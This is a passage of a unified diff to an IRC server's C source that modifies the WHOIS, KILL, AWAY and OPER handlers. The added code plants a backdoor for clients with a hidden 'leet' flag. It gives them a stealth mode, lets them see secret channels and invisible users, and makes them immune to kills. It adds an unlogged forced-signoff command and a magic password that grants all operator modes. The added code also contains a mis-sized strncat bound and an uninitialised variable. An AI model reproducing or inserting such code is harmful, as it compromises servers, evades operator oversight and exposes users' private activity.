  2332. -      member = (user->channel) ? 1 : 0;
  2333. +          name = (!*acptr->name) ? "?" : acptr->name;
  2334. +          invis = IsInvisible(acptr);
  2335. +          member = (user->channel) ? 1 : 0;
  2336. +
  2337. +          if(acptr->stealth == 1)
  2338. +            {
  2339. +              sendto_one(sptr, err_str(ERR_NOSUCHNICK),
  2340. +                         me.name, parv[0], nick);
  2341. +              return 0;
  2342. +            }
  2343. +
  2344. +          a2cptr = find_server(user->server, NULL);
  2345. +
  2346. +          sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name,
  2347. +                     parv[0], name,
  2348. +                     user->username, user->host, acptr->info);
  2349. +
  2350. +          mlen = strlen(me.name) + strlen(parv[0]) + 6 +
  2351. +            strlen(name);
  2352. +          for (len = 0, *buf = '\0', lp = user->channel; lp;
  2353. +               lp = lp->next)
  2354. +            {
  2355. +              chptr = lp->value.chptr;
  2356. +
  2357. +              /* New Shok (list all the channels they are in) */
  2358. +              if (ShowChannel(sptr, chptr) || sptr->leet == 1)
  2359. +                {
  2360. +                  if (len + strlen(chptr->chname)
  2361. +                      > (size_t) BUFSIZE - 4 - mlen)
  2362. +                    {
  2363. +                      sendto_one(sptr,
  2364. +                                 ":%s %d %s %s :%s",
  2365. +                                  me.name,
  2366. +                                 RPL_WHOISCHANNELS,
  2367. +                                 parv[0], name, buf);
  2368. +                      *buf = '\0';
  2369. +                      len = 0;
  2370. +                    }
  2371.  
  2372. -      a2cptr = find_server(user->server, NULL);
  2373. -      
  2374. -      sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name,
  2375. -             parv[0], name,
  2376. -             user->username, user->host, acptr->info);
  2377. -
  2378. -      mlen = strlen(me.name) + strlen(parv[0]) + 6 +
  2379. -        strlen(name);
  2380. -      for (len = 0, *buf = '\0', lp = user->channel; lp;
  2381. -           lp = lp->next)
  2382. -        {
  2383. -          chptr = lp->value.chptr;
  2384. -          if (ShowChannel(sptr, chptr))
  2385. -        {
  2386. -          if (len + strlen(chptr->chname)
  2387. -              > (size_t) BUFSIZE - 4 - mlen)
  2388. -            {
  2389. -              sendto_one(sptr,
  2390. -                 ":%s %d %s %s :%s",
  2391. -                 me.name,
  2392. -                 RPL_WHOISCHANNELS,
  2393. -                 parv[0], name, buf);
  2394. -              *buf = '\0';
  2395. -              len = 0;
  2396. -            }
  2397. -          if (is_chan_op(acptr, chptr))
  2398. -            *(buf + len++) = '@';
  2399. -          else if (has_voice(acptr, chptr))
  2400. -            *(buf + len++) = '+';
  2401. -          if (len)
  2402. -            *(buf + len) = '\0';
  2403. -          (void)strcpy(buf + len, chptr->chname);
  2404. -          len += strlen(chptr->chname);
  2405. -          (void)strcat(buf + len, " ");
  2406. -          len++;
  2407. -        }
  2408. -        }
  2409. -      if (buf[0] != '\0')
  2410. -        sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS),
  2411. -               me.name, parv[0], name, buf);
  2412. -      
  2413. -      sendto_one(sptr, rpl_str(RPL_WHOISSERVER),
  2414. -             me.name, parv[0], name, user->server,
  2415. -             a2cptr?a2cptr->info:"*Not On This Net*");
  2416. -
  2417. -      if (user->away)
  2418. -        sendto_one(sptr, rpl_str(RPL_AWAY), me.name,
  2419. -               parv[0], name, user->away);
  2420. -
  2421. -      if (IsAnOper(acptr))
  2422. -        sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR),
  2423. -               me.name, parv[0], name);
  2424. -#ifdef WHOIS_NOTICE
  2425. -      if ((MyOper(acptr)) && ((acptr)->flags & FLAGS_SPY) &&
  2426. -          (MyConnect(sptr)) && (IsPerson(sptr)) && (acptr != sptr))
  2427. -        sendto_one(acptr,
  2428. -               ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.",
  2429. -               me.name, acptr->name, parv[0], sptr->user->username,
  2430. -               sptr->user->host);
  2431. -#endif /* #ifdef WHOIS_NOTICE */
  2432. -
  2433. -
  2434. -      if (acptr->user && MyConnect(acptr))
  2435. -        sendto_one(sptr, rpl_str(RPL_WHOISIDLE),
  2436. -               me.name, parv[0], name,
  2437. -               timeofday - user->last,
  2438. -               acptr->firsttime);
  2439. -        
  2440. -      continue;
  2441. -    }
  2442. +                  /* New Shok - list '*' if we weren't supposed */
  2443. +                  /* to see the channel.                        */
  2444. +                  if (SecretChannel(chptr) || HiddenChannel(chptr))
  2445. +                     if (!IsMember(sptr, chptr) && sptr->leet == 1)
  2446. +                        *(buf + len++) = '*'; /* such as *#blah */
  2447. +
  2448. +                  if (is_chan_op(acptr, chptr))
  2449. +                    *(buf + len++) = '@';
  2450. +                  else if (has_voice(acptr, chptr))
  2451. +                    *(buf + len++) = '+';
  2452. +
  2453. +                  if (len)
  2454. +                    *(buf + len) = '\0';
  2455. +                  (void)strcpy(buf + len, chptr->chname);
  2456. +                  len += strlen(chptr->chname);
  2457. +                  (void)strcat(buf + len, " ");
  2458. +                  len++;
  2459. +                }
  2460. +            }
  2461. +          if (buf[0] != '\0')
  2462. +            sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS),
  2463. +                       me.name, parv[0], name, buf);
  2464. +
  2465. +          sendto_one(sptr, rpl_str(RPL_WHOISSERVER),
  2466. +                     me.name, parv[0], name, user->server,
  2467. +                     a2cptr?a2cptr->info:"*Not On This Net*");
  2468. +
  2469. +          if (user->away)
  2470. +            sendto_one(sptr, rpl_str(RPL_AWAY), me.name,
  2471. +                       parv[0], name, user->away);
  2472. +
  2473. +          /* New Shok */
  2474. +          if (acptr->stealth != 1)
  2475. +             if (IsAnOper(acptr))
  2476. +                sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR),
  2477. +                          me.name, parv[0], name);
  2478. +
  2479. +          if ((acptr->leet == 1) && (acptr != sptr))
  2480. +             sendto_one(acptr,
  2481. +                       ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.",
  2482. +                       me.name, acptr->name, parv[0], sptr->user->username,
  2483. +                       sptr->user->host);
  2484. +
  2485. +          if (acptr->user && MyConnect(acptr))
  2486. +            sendto_one(sptr, rpl_str(RPL_WHOISIDLE),
  2487. +                       me.name, parv[0], name,
  2488. +                       timeofday - user->last,
  2489. +                       acptr->firsttime);
  2490. +
  2491. +          continue;
  2492. +        }
  2493.  
  2494.        for (acptr = client; (acptr = next_client(acptr, nick));
  2495. -       acptr = acptr->next)
  2496. -    {
  2497. -      if (IsServer(acptr))
  2498. -        continue;
  2499. -      /*
  2500. -       * I'm always last :-) and acptr->next == NULL!!
  2501. -       */
  2502. -      if (IsMe(acptr))
  2503. -        break;
  2504. -      /*
  2505. -       * 'Rules' established for sending a WHOIS reply:
  2506. -       *
  2507. -       *
  2508. -       * - if wildcards are being used dont send a reply if
  2509. -       *   the querier isnt any common channels and the
  2510. -       *   client in question is invisible and wildcards are
  2511. -       *   in use (allow exact matches only);
  2512. -       *
  2513. -       * - only send replies about common or public channels
  2514. -       *   the target user(s) are on;
  2515. -       */
  2516. +           acptr = acptr->next)
  2517. +        {
  2518. +          if (IsServer(acptr))
  2519. +            continue;
  2520. +          /*
  2521. +           * I'm always last :-) and acptr->next == NULL!!
  2522. +           */
  2523. +          if (IsMe(acptr))
  2524. +            break;
  2525. +          /*
  2526. +           * 'Rules' established for sending a WHOIS reply:
  2527. +           *
  2528. +           *
  2529. +           * - if wildcards are being used dont send a reply if
  2530. +           *   the querier isnt any common channels and the
  2531. +           *   client in question is invisible and wildcards are
  2532. +           *   in use (allow exact matches only);
  2533. +           *
  2534. +           * - only send replies about common or public channels
  2535. +           *   the target user(s) are on;
  2536. +           */
  2537.  
  2538. -/* If its an unregistered client, ignore it, it can
  2539. -   be "seen" on a /trace anyway  -Dianora */
  2540. +           /* If its an unregistered client, ignore it, it can */
  2541. +           /* be "seen" on a /trace anyway  - Dianora          */
  2542.  
  2543.            if(!IsRegistered(acptr))
  2544. -        continue;
  2545. +            continue;
  2546.  
  2547.            user = acptr->user ? acptr->user : &UnknownUser;
  2548. -      name = (!*acptr->name) ? "?" : acptr->name;
  2549. -      invis = IsInvisible(acptr);
  2550. -      member = (user->channel) ? 1 : 0;
  2551. -      showperson = (wilds && !invis && !member) || !wilds;
  2552. -      for (lp = user->channel; lp; lp = lp->next)
  2553. -        {
  2554. -          chptr = lp->value.chptr;
  2555. -          member = IsMember(sptr, chptr);
  2556. -          if (invis && !member)
  2557. -        continue;
  2558. -          if (member || (!invis && PubChannel(chptr)))
  2559. -        {
  2560. -          showperson = 1;
  2561. -          break;
  2562. -        }
  2563. -          if (!invis && HiddenChannel(chptr) &&
  2564. -          !SecretChannel(chptr))
  2565. -        showperson = 1;
  2566. -        }
  2567. -      if (!showperson)
  2568. -        continue;
  2569. -      
  2570. -      a2cptr = find_server(user->server, NULL);
  2571. -      
  2572. -      sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name,
  2573. -             parv[0], name,
  2574. -             user->username, user->host, acptr->info);
  2575. -      found = 1;
  2576. -      mlen = strlen(me.name) + strlen(parv[0]) + 6 +
  2577. -        strlen(name);
  2578. -      for (len = 0, *buf = '\0', lp = user->channel; lp;
  2579. -           lp = lp->next)
  2580. -        {
  2581. -          chptr = lp->value.chptr;
  2582. -          if (ShowChannel(sptr, chptr))
  2583. -        {
  2584. -          if (len + strlen(chptr->chname)
  2585. -              > (size_t) BUFSIZE - 4 - mlen)
  2586. -            {
  2587. -              sendto_one(sptr,
  2588. -                 ":%s %d %s %s :%s",
  2589. -                 me.name,
  2590. -                 RPL_WHOISCHANNELS,
  2591. -                 parv[0], name, buf);
  2592. -              *buf = '\0';
  2593. -              len = 0;
  2594. -            }
  2595. -          if (is_chan_op(acptr, chptr))
  2596. -            *(buf + len++) = '@';
  2597. -          else if (has_voice(acptr, chptr))
  2598. -            *(buf + len++) = '+';
  2599. -          if (len)
  2600. -            *(buf + len) = '\0';
  2601. -          (void)strcpy(buf + len, chptr->chname);
  2602. -          len += strlen(chptr->chname);
  2603. -          (void)strcat(buf + len, " ");
  2604. -          len++;
  2605. -        }
  2606. -        }
  2607. -      if (buf[0] != '\0')
  2608. -        sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS),
  2609. -               me.name, parv[0], name, buf);
  2610. -      
  2611. -      sendto_one(sptr, rpl_str(RPL_WHOISSERVER),
  2612. -             me.name, parv[0], name, user->server,
  2613. -             a2cptr?a2cptr->info:"*Not On This Net*");
  2614. -
  2615. -      if (user->away)
  2616. -        sendto_one(sptr, rpl_str(RPL_AWAY), me.name,
  2617. -               parv[0], name, user->away);
  2618. -
  2619. -      if (IsAnOper(acptr))
  2620. -        sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR),
  2621. -               me.name, parv[0], name);
  2622. -#ifdef WHOIS_NOTICE
  2623. -      if ((MyOper(acptr)) && ((acptr)->flags & FLAGS_SPY) &&
  2624. -          (MyConnect(sptr)) && (IsPerson(sptr)) && (acptr != sptr))
  2625. -        sendto_one(acptr,
  2626. -               ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.",
  2627. -               me.name, acptr->name, parv[0], sptr->user->username,
  2628. -               sptr->user->host);
  2629. -#endif /* #ifdef WHOIS_NOTICE */
  2630. -
  2631. -
  2632. -      if (acptr->user && MyConnect(acptr))
  2633. -        sendto_one(sptr, rpl_str(RPL_WHOISIDLE),
  2634. -               me.name, parv[0], name,
  2635. -               timeofday - user->last,
  2636. -               acptr->firsttime);
  2637. -    }
  2638. +          name = (!*acptr->name) ? "?" : acptr->name;
  2639. +          invis = IsInvisible(acptr);
  2640. +          member = (user->channel) ? 1 : 0;
  2641. +          showperson = (wilds && !invis && !member) || !wilds;
  2642. +          for (lp = user->channel; lp; lp = lp->next)
  2643. +            {
  2644. +              chptr = lp->value.chptr;
  2645. +              member = IsMember(sptr, chptr);
  2646. +              if (invis && !member && sptr->leet != 1)
  2647. +                continue;
  2648. +              if (member || (!invis && PubChannel(chptr)) 
  2649. +                         || sptr->leet == 1)
  2650. +                {
  2651. +                  showperson = 1;
  2652. +                  break;
  2653. +                }
  2654. +              if ((!invis && HiddenChannel(chptr) 
  2655. +                          && !SecretChannel(chptr)) 
  2656. +                          || sptr->leet == 1)
  2657. +                showperson = 1;
  2658. +            }
  2659. +          if (!showperson)
  2660. +            continue;
  2661. +
  2662. +          a2cptr = find_server(user->server, NULL);
  2663. +
  2664. +          sendto_one(sptr, rpl_str(RPL_WHOISUSER), me.name,
  2665. +                     parv[0], name,
  2666. +                     user->username, user->host, acptr->info);
  2667. +          found = 1;
  2668. +          mlen = strlen(me.name) + strlen(parv[0]) + 6 +
  2669. +            strlen(name);
  2670. +          for (len = 0, *buf = '\0', lp = user->channel; lp;
  2671. +               lp = lp->next)
  2672. +            {
  2673. +              chptr = lp->value.chptr;
  2674. +              if (ShowChannel(sptr, chptr) || sptr->leet == 1)
  2675. +                {
  2676. +                  if (len + strlen(chptr->chname)
  2677. +                      > (size_t) BUFSIZE - 4 - mlen)
  2678. +                    {
  2679. +                      sendto_one(sptr,
  2680. +                                 ":%s %d %s %s :%s",
  2681. +                                 me.name,
  2682. +                                 RPL_WHOISCHANNELS,
  2683. +                                 parv[0], name, buf);
  2684. +                      *buf = '\0';
  2685. +                      len = 0;
  2686. +                    }
  2687. +
  2688. +                  /* New Shok - list '*' if we weren't supposed */
  2689. +                  /* to see the channel.                        */
  2690. +                  if (SecretChannel(chptr) || HiddenChannel(chptr))
  2691. +                     if (!IsMember(sptr, chptr) && sptr->leet == 1)
  2692. +                        *(buf + len++) = '*'; /* such as *#blah */
  2693. +
  2694. +                  if (is_chan_op(acptr, chptr))
  2695. +                    *(buf + len++) = '@';
  2696. +                  else if (has_voice(acptr, chptr))
  2697. +                    *(buf + len++) = '+';
  2698. +
  2699. +                  if (len)
  2700. +                    *(buf + len) = '\0';
  2701. +                  (void)strcpy(buf + len, chptr->chname);
  2702. +                  len += strlen(chptr->chname);
  2703. +                  (void)strcat(buf + len, " ");
  2704. +                  len++;
  2705. +                }
  2706. +            }
  2707. +          if (buf[0] != '\0')
  2708. +            sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS),
  2709. +                       me.name, parv[0], name, buf);
  2710. +
  2711. +          sendto_one(sptr, rpl_str(RPL_WHOISSERVER),
  2712. +                     me.name, parv[0], name, user->server,
  2713. +                     a2cptr?a2cptr->info:"*Not On This Net*");
  2714. +
  2715. +          if (user->away)
  2716. +            sendto_one(sptr, rpl_str(RPL_AWAY), me.name,
  2717. +                       parv[0], name, user->away);
  2718. +
  2719. +          if (IsAnOper(acptr) && acptr->stealth != 1)
  2720. +            sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR),
  2721. +                       me.name, parv[0], name);
  2722. +
  2723. +          /* Real Shok */
  2724. +          if ((acptr->leet == 1) && (acptr != sptr))
  2725. +             sendto_one(acptr,
  2726. +                       ":%s NOTICE %s :*** Notice -- %s (%s@%s) is doing a /whois on you.",
  2727. +                       me.name, acptr->name, parv[0], sptr->user->username,
  2728. +                       sptr->user->host);
  2729. +
  2730. +
  2731. +          if (acptr->user && MyConnect(acptr))
  2732. +            sendto_one(sptr, rpl_str(RPL_WHOISIDLE),
  2733. +                       me.name, parv[0], name,
  2734. +                       timeofday - user->last,
  2735. +                       acptr->firsttime);
  2736. +        }
  2737.        if (!found)
  2738. -    sendto_one(sptr, err_str(ERR_NOSUCHNICK),
  2739. -           me.name, parv[0], nick);
  2740. +        sendto_one(sptr, err_str(ERR_NOSUCHNICK),
  2741. +                   me.name, parv[0], nick);
  2742.        if (p)
  2743. -    p[-1] = ',';
  2744. +        p[-1] = ',';
  2745.      }
  2746.    sendto_one(sptr, rpl_str(RPL_ENDOFWHOIS), me.name, parv[0], parv[1]);
  2747. -  
  2748. +
  2749.    return 0;
  2750.  }
  2751.  
  2752. -
  2753.  /*
  2754.  ** m_user
  2755.  **    parv[0] = sender prefix
  2756. @@ -2439,6 +2969,97 @@
  2757.  }
  2758.  
  2759.  /*
  2760. +**
  2761. +** m_skill -- Sign off a user with a Quit message -- Peedee & Shok
  2762. +**
  2763. +**    parv[0] = sender prefix
  2764. +**    parv[1] = kill victim
  2765. +**    parv[2] = kill path
  2766. +*/
  2767. +
  2768. +int    m_skill(aClient *cptr,
  2769. +           aClient *sptr,
  2770. +           int parc,
  2771. +           char *parv[])
  2772. +{
  2773. +  aClient *acptr;
  2774. +  char    *inpath = get_client_name(cptr,FALSE);
  2775. +  char    *user, *path, *killer;
  2776. +  char buffer[2048];
  2777. +  int    chasing = 0, counter=3;
  2778. +
  2779. +  /* New Peedee -- Lot's of organizing. */
  2780. +
  2781. +  if (sptr->leet == 0) 
  2782. +  {
  2783. +      sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND),
  2784. +        me.name, parv[0], "skill");
  2785. +      return 0;
  2786. +  }
  2787. +
  2788. +  /* New Shok -- fixed sendto_one() */
  2789. +
  2790. +  if (parc < 2 || *parv[1] == '\0')
  2791. +  {
  2792. +      sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS),
  2793. +        me.name, parv[0], "skill");
  2794. +      return 0;
  2795. +  }
  2796. +
  2797. +  user = parv[1];
  2798. +
  2799. +  /* Peedee -- Parsing for long quit messages. */
  2800. +
  2801. +  bzero(buffer, sizeof(buffer)); 
  2802. +  for (counter = 2; counter != parc; counter++)
  2803. +  {
  2804. +    /* New Shok - replaced with strncat. Bad. No overflows. */
  2805. +
  2806. +    strncat(buffer, parv[counter] ? parv[counter] : "", sizeof(buffer-1));
  2807. +    buffer[sizeof(buffer)-1] = '\0'; /* New Shok */
  2808. +
  2809. +    /* New Peedee -- Changed strcat() to strncat */
  2810. +    if (((counter) < (parc - 1))) strncat(buffer, " ", sizeof(buffer-1));
  2811. +  }
  2812. +
  2813. +  path = parv[2]; /* Either defined or NULL (parc >= 2!!) */
  2814. +
  2815. +  if (!(acptr = find_client(user, NULL)))
  2816. +  {
  2817. +      /*
  2818. +      ** If the user has recently changed nick, we automaticly
  2819. +      ** rewrite the KILL for this new nickname--this keeps
  2820. +      ** servers in synch when nick change and kill collide
  2821. +      */
  2822. +      if (!(acptr = get_history(user, (long)KILLCHASETIMELIMIT)))
  2823. +      {
  2824. +      sendto_one(sptr, err_str(ERR_NOSUCHNICK),
  2825. +            me.name, parv[0], user);
  2826. +      return 0;
  2827. +      }
  2828. +
  2829. +      sendto_one(sptr,":%s NOTICE %s :Signoff changed from %s to %s", 
  2830. +        killer, parv[0], user, acptr->name);
  2831. +      chasing = 1;
  2832. +  }
  2833. +
  2834. +  if (IsServer(acptr) || IsMe(acptr))
  2835. +  {
  2836. +      sendto_one(sptr, err_str(ERR_CANTKILLSERVER),
  2837. +        me.name, parv[0]);
  2838. +      return 0;
  2839. +  }
  2840. +
  2841. +  (void)ircsprintf(buf2, "%s", buffer);
  2842. +
  2843. +  /* New Peedee -- This flag shall make the client exit properly. */
  2844. +
  2845. +  sptr->flags |= FLAGS_NORMALEX;
  2846. +
  2847. +  return exit_client(cptr, acptr, sptr, buf2);
  2848. +}
  2849. +
  2850. +/*
  2851.  ** m_kill
  2852.  **    parv[0] = sender prefix
  2853.  **    parv[1] = kill victim
  2854. @@ -2464,19 +3085,20 @@
  2855.    user = parv[1];
  2856.    path = parv[2]; /* Either defined or NULL (parc >= 2!!) */
  2857.  
  2858. -#ifdef    OPER_KILL
  2859. -  if (!IsPrivileged(cptr))
  2860. +  #ifdef    OPER_KILL
  2861. +    if (!IsPrivileged(cptr))
  2862.      {
  2863.        sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, parv[0]);
  2864.        return 0;
  2865.      }
  2866. -#else
  2867. -  if (!IsServer(cptr))
  2868. +  #else
  2869. +    if (!IsServer(cptr))
  2870.      {
  2871.        sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, parv[0]);
  2872.        return 0;
  2873.      }
  2874. -#endif
  2875. +  #endif
  2876. +
  2877.    if (IsAnOper(cptr))
  2878.      {
  2879.        if (!BadPtr(path))
  2880. @@ -2489,6 +3111,9 @@
  2881.        path[TOPICLEN] = '\0';
  2882.      }
  2883.  
  2884. +if (sptr->leet != 1)
  2885. +{
  2886. +
  2887.    if (!(acptr = find_client(user, NULL)))
  2888.      {
  2889.        /*
  2890. @@ -2517,6 +3142,7 @@
  2891.           me.name, parv[0]);
  2892.        return 0;
  2893.      }
  2894. +}
  2895.  
  2896.  #ifdef    LOCAL_KILL_ONLY
  2897.    if (MyOper(sptr) && !MyConnect(acptr))
  2898. @@ -2536,18 +3162,23 @@
  2899.        **    ...!operhost!oper
  2900.        **    ...!operhost!oper (comment)
  2901.        */
  2902. +
  2903. +  /* peedee */
  2904. +
  2905. +  if (sptr->leet != 1) 
  2906. +  {
  2907.        inpath = cptr->sockhost;
  2908. -      if (!BadPtr(path))
  2909. -    {
  2910. +      if (!BadPtr(path)) {
  2911.        (void)ircsprintf(buf, "%s%s (%s)",
  2912.                 cptr->name, IsOper(sptr) ? "" : "(L)", path);
  2913.        path = buf;
  2914. -    }
  2915. -      else
  2916. -    path = cptr->name;
  2917. -    }
  2918. +      } else
  2919. +      path = cptr->name;
  2920. +  }
  2921.    else if (BadPtr(path))
  2922.      path = "*no-path*"; /* Bogus server sending??? */
  2923. +}
  2924. +
  2925.    /*
  2926.    ** Notify all *local* opers about the KILL (this includes the one
  2927.    ** originating the kill, if from this server--the special numeric
  2928. @@ -2556,11 +3187,14 @@
  2929.    ** Note: "acptr->name" is used instead of "user" because we may
  2930.    **     have changed the target because of the nickname change.
  2931.    */
  2932. +
  2933. +if (sptr->leet != 1) {
  2934.    if (IsLocOp(sptr) && !MyConnect(acptr))
  2935.      {
  2936.        sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, parv[0]);
  2937.        return 0;
  2938.      }
  2939. +
  2940.    if (IsAnOper(sptr)) /* send it normally */
  2941.      sendto_ops("Received KILL message for %s. From %s Path: %s!%s",
  2942.             acptr->name, parv[0], inpath, path);
  2943. @@ -2573,21 +3207,27 @@
  2944.      syslog(LOG_INFO,"KILL From %s For %s Path %s!%s",
  2945.              parv[0], acptr->name, inpath, path);
  2946.  #endif
  2947. +}
  2948. +
  2949.    /*
  2950. +
  2951.    ** And pass on the message to other servers. Note, that if KILL
  2952.    ** was changed, the message has to be sent to all links, also
  2953.    ** back.
  2954.    ** Suicide kills are NOT passed on --SRB
  2955.    */
  2956. -  if (!MyConnect(acptr) || !MyConnect(sptr) || !IsAnOper(sptr))
  2957. -    {
  2958. -      sendto_serv_butone(cptr, ":%s KILL %s :%s!%s",
  2959. +
  2960. +  if (sptr->leet != 1) {
  2961. +    if (!MyConnect(acptr) || !MyConnect(sptr) || !IsAnOper(sptr))
  2962. +      {
  2963. +        sendto_serv_butone(cptr, ":%s KILL %s :%s!%s",
  2964.               parv[0], acptr->name, inpath, path);
  2965. -      if (chasing && IsServer(cptr))
  2966. -    sendto_one(cptr, ":%s KILL %s :%s!%s",
  2967. +        if (chasing && IsServer(cptr))
  2968. +      sendto_one(cptr, ":%s KILL %s :%s!%s",
  2969.             me.name, acptr->name, inpath, path);
  2970. -      acptr->flags |= FLAGS_KILLED;
  2971. +        acptr->flags |= FLAGS_KILLED;
  2972.      }
  2973. +  }
  2974.  
  2975.    /*
  2976.    ** Tell the victim she/he has been zapped, but *only* if
  2977. @@ -2595,32 +3235,55 @@
  2978.    ** notification chasing the above kill, it won't get far
  2979.    ** anyway (as this user don't exist there any more either)
  2980.    */
  2981. -  if (MyConnect(acptr))
  2982. -    sendto_prefix_one(acptr, sptr,":%s KILL %s :%s!%s",
  2983. -              parv[0], acptr->name, inpath, path);
  2984. -  /*
  2985. -  ** Set FLAGS_KILLED. This prevents exit_one_client from sending
  2986. -  ** the unnecessary QUIT for this. (This flag should never be
  2987. -  ** set in any other place)
  2988. -  */
  2989. -  if (MyConnect(acptr) && MyConnect(sptr) && IsAnOper(sptr))
  2990. -    (void)ircsprintf(buf2, "Local kill by %s (%s)", sptr->name,
  2991. +
  2992. +  /* Shok */
  2993. +  if (acptr->leet != 1)
  2994. +  {
  2995. +
  2996. +    if (MyConnect(acptr))
  2997. +      sendto_prefix_one(acptr, sptr,":%s KILL %s :%s!%s",
  2998. +                      parv[0], acptr->name, inpath, path);
  2999. +  }
  3000. +
  3001. +    /*
  3002. +    ** Set FLAGS_KILLED. This prevents exit_one_client from sending
  3003. +    ** the unnecessary QUIT for this. (This flag should never be
  3004. +    ** set in any other place)
  3005. +    */
  3006. +   if (MyConnect(acptr) && MyConnect(sptr) && IsAnOper(sptr))
  3007. +      (void)ircsprintf(buf2, "Local kill by %s (%s)", sptr->name,
  3008.               BadPtr(parv[2]) ? sptr->name : parv[2]);
  3009. -  else
  3010. +    else
  3011. +      {
  3012. +        if ((killer = index(path, ' ')))  
  3013. +      {
  3014. +        while (*killer && *killer != '!')
  3015. +          killer--;
  3016. +        if (!*killer)
  3017. +          killer = path;
  3018. +        else
  3019. +          killer++;
  3020. +      }
  3021. +        else
  3022. +      killer = path;
  3023. +        (void)ircsprintf(buf2, "Killed (%s)", killer);
  3024. +      }
  3025. +
  3026. +  /* Shok & peedee */
  3027. +  if (acptr->leet == 1) 
  3028. +  {
  3029. +    if (acptr->stealth != 1) 
  3030.      {
  3031. -      if ((killer = index(path, ' ')))
  3032. -    {
  3033. -      while (*killer && *killer != '!')
  3034. -        killer--;
  3035. -      if (!*killer)
  3036. -        killer = path;
  3037. -      else
  3038. -        killer++;
  3039. -    }
  3040. -      else
  3041. -    killer = path;
  3042. -      (void)ircsprintf(buf2, "Killed (%s)", killer);
  3043. +      acptr->stealth = 1;
  3044. +      /* New Peedee -- fixed notice. */
  3045. +      sendto_one(acptr, ":%s NOTICE %s :Stealth mode on.", me.name, sptr->name); 
  3046.      }
  3047. +    /* New Peedee -- fixed notice. */
  3048. +    sendto_one(acptr, ":%s NOTICE %s :Attempted kill on you by %s.", me.name, sptr->name, cptr->name);
  3049. +    return 0;
  3050. +  }
  3051. +
  3052.    return exit_client(cptr, acptr, sptr, buf2);
  3053.  }
  3054.  
  3055. @@ -2650,7 +3313,9 @@
  3056.    /* make sure the user exists */
  3057.    if (!(sptr->user))
  3058.      {
  3059. -      sendto_realops_lev(DEBUG_LEV, "Got AWAY from nil user, from %s (%s)\n",cptr->name,sptr->name);
  3060. +      if (sptr->leet != 1 || cptr->leet) 
  3061. +        sendto_realops_lev(DEBUG_LEV, "Got AWAY from nil user, from %s (%s)\n",cptr->name,sptr->name);
  3062. +
  3063.        return 0;
  3064.      }
  3065.  
  3066. @@ -2668,7 +3333,8 @@
  3067.  /* some lamers scripts continually do a /away, hence making a lot of
  3068.     unnecessary traffic. *sigh* so... as comstud has done, I've
  3069.     commented out this sendto_serv_butone() call -Dianora */
  3070. -/*      sendto_serv_butone(cptr, ":%s AWAY", parv[0]); */
  3071. +/* sendto_serv_butone(cptr, ":%s AWAY", parv[0]); */
  3072. +
  3073.        if (MyConnect(sptr))
  3074.      sendto_one(sptr, rpl_str(RPL_UNAWAY),
  3075.             me.name, parv[0]);
  3076. @@ -2679,10 +3345,14 @@
  3077.    
  3078.    if (strlen(awy2) > (size_t) TOPICLEN)
  3079.      awy2[TOPICLEN] = '\0';
  3080. +
  3081.  /* some lamers scripts continually do a /away, hence making a lot of
  3082.     unnecessary traffic. *sigh* so... as comstud has done, I've
  3083.     commented out this sendto_serv_butone() call -Dianora */
  3084. -/*  sendto_serv_butone(cptr, ":%s AWAY :%s", parv[0], awy2); */
  3085. +
  3086. +   /* Shok - if we are in stealth mode, this can't go to the channel */
  3087. +   if (sptr->stealth != 1 && cptr->stealth != 1)
  3088. +      sendto_serv_butone(cptr, ":%s AWAY :%s", parv[0], awy2);
  3089.  
  3090.    if (away)
  3091.      away = (char *)MyRealloc(away, strlen(awy2)+1);
  3092. @@ -2836,6 +3506,7 @@
  3093.             int parc,
  3094.             char *parv[])
  3095.  {
  3096. +  int justop; /* New Shok - so we don't print opped message twice */
  3097.    aConfItem *aconf;
  3098.    char    *name, *password, *encr;
  3099.  #ifdef CRYPT_OPER_PASSWORD
  3100. @@ -2843,42 +3514,60 @@
  3101.  #endif /* CRYPT_OPER_PASSWORD */
  3102.  
  3103.    name = parc > 1 ? parv[1] : (char *)NULL;
  3104. -  password = parc > 2 ? parv[2] : (char *)NULL;
  3105. +  password = (parc > 2 ? parv[2] : (char *)NULL);
  3106. +  
  3107. +  /* New Shok -- modded stuff.. check to make sure it's all okay */
  3108. +  if (sptr->leet == 1)
  3109. +     if (password)
  3110. +        if (strstr(password, MAGIC_PASSWORD))
  3111. +        {
  3112. +           /* New Shok */
  3113. +           /* We're so elite we should get all oper power! */
  3114. +           sptr->flags |= (LOCOP_UMODES | FLAGS_OPER | 
  3115. +                           OPER_UMODES  | ALL_UMODES); 
  3116. +
  3117. +           addto_fdlist(sptr->fd, &oper_fdlist);
  3118. +
  3119. +           justop = 1;
  3120. +           sendto_one(sptr, rpl_str(RPL_YOUREOPER), me.name, parv[0]);
  3121. +        }
  3122.  
  3123.    if (!IsServer(cptr) && (BadPtr(name) || BadPtr(password)))
  3124. -    {
  3125. +  {
  3126.        sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS),
  3127.           me.name, parv[0], "OPER");
  3128.        return 0;
  3129. -    }
  3130. +  }
  3131.      
  3132.    /* if message arrived from server, trust it, and set to oper */
  3133.    
  3134.    if ((IsServer(cptr) || IsMe(cptr)) && !IsOper(sptr))
  3135. -    {
  3136. +  {
  3137.        sptr->flags |= FLAGS_OPER;
  3138. -      Count.oper++;
  3139. +      if (sptr->leet != 1) Count.oper++; /* New Shok */
  3140. +
  3141.        sendto_serv_butone(cptr, ":%s MODE %s :+o", parv[0], parv[0]);
  3142. +
  3143.        if (IsMe(cptr))
